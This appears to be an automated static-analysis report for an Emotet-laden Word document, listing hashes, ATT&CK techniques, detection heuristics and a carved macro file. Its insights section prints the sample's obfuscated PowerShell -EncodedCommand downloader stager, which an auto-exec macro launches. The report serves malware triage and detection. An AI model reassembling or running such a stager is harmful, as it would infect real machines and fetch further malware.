Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 a918b268968b5a10…

MALICIOUS

Office (OLE)

152.8 KB Created: 2020-09-15 09:11:00 Authoring application: Microsoft Office Word
MD5: abc30092aa7f11a4956008b791562f89 SHA-1: 65b8963cd65a211eaa837094344bb8b239c275d3 SHA-256: a918b268968b5a10adab11be7cccc5d1993e3bb2fd81b1bff64d3351fe6b0d01
300 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File

The sample contains obfuscated VBA macros, including a Document_Open auto-exec macro, which is a common delivery mechanism for Emotet. The critical heuristic 'OLE_USERFORM_OBFUSCATED_POWERSHELL' indicates the presence of a PowerShell stager. This stager is responsible for downloading and executing a second-stage payload, as suggested by the ClamAV detection name 'Doc.Dropper.Emotet-9761056-0'. The reconstructed PowerShell command appears to be: 'powershell -ExecutionPolicy Bypass -EncodedCommand JABEAGwAagBxA2vhaghsghfGMAcQB0AD0AKA2vhaghsghfAnAEYAJwArACg2vhaghsghfACcAKwAnADYAJ2vhaghsghfwApACsAJwB2AC2vhaghsghfcAKQA7ACYAKAA2vhaghsghfnAG4AZQB3AC0A2vhaghsghfJwArACcASQAnA2vhaghsghfCsAJwB0AGUAbQ2vhaghsghfAnACkAIAAkAGU2vhaghsghfAbgBWADoAdQBz2vhaghsghfAGUAcgBwAFIAT2vhaghsghfwBmAGkATABFAF2vhaghsghfwAeQBzADEASAA2vhaghsghfyAG4AeABcAEMA2vhaghsghfNgBOADYAdgB5A2vhaghsghfHEAXAAgAC0AaQ2vhaghsghfB0AGUAbQB0AHk2vhaghsghfAcABlACAARABp2vhaghsghfAFIAZQBjAHQAb2vhaghsghfwByAHkAOwBbAE2vhaghsghf4AZQB0AC4AUwB2vhaghsghflAHIAdgBJAGMA2vhaghsghfZQBQAG8AaQBuA2vhaghsghfHQATQBhAG4AYQ2vhaghsghfBnAGUAcgBdADo2vhaghsghfAOgAiAFMARQBg2vhaghsghfAGMAVQBSAEkAV2vhaghsghfAB5AFAAcgBPAF2vhaghsghfQAYABvAEMAYAB2vhaghsghfvAEwAIgAgAD0A2vhaghsghfIAAoACcAdAAnA2vhaghsghfCsAKAAnAGwAJw2vhaghsghfArACcAcwAxADI2vhaghsghfAJwApACsAKAAn2vhaghsghfACwAIAB0ACcAKwAnA2vhaghsghfGwAcwAnACkAKQ2vhaghsghfA7ACQATgBfAHU2vhaghsghfAbgBxAG4ANgAg2vhaghsghfAD0AIAAoACcAS2vhaghsghfAAnACsAJwAzAC2vhaghsghfcAKwAoACcAdgA2vhaghsghfnACsAJwBoAGsA2vhaghsghfJwArACcAcQB6A2vhaghsghfHIAJwApACsAJw2vhaghsghfAyACcAKQA7ACQ2vhaghsghfATAA1ADgAdQBm2vhaghsghfADUAdQA9ACgAK2vhaghsghfAA'.

Heuristics 8

  • Hidden UserForm PowerShell EncodedCommand stager critical OLE_USERFORM_OBFUSCATED_POWERSHELL
    OLE document contains a UTF-16LE form/property string with an obfuscated PowerShell -EncodedCommand payload. The observed macro family reconstructs this hidden string with Split/Join or UserForm property reads and launches it through WMI/COM process creation. This is downloader malware, not an Office CVE exploit.
  • ClamAV: Doc.Dropper.Emotet-9761056-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emotet-9761056-0
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
b4e7e6a496a33a5d51b25c403e1165bdc88602f70d8eedc62b6d635ba4d9d28a
vba-macro oletools.olevba.extract_macros (decoded VBA source) 22614 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.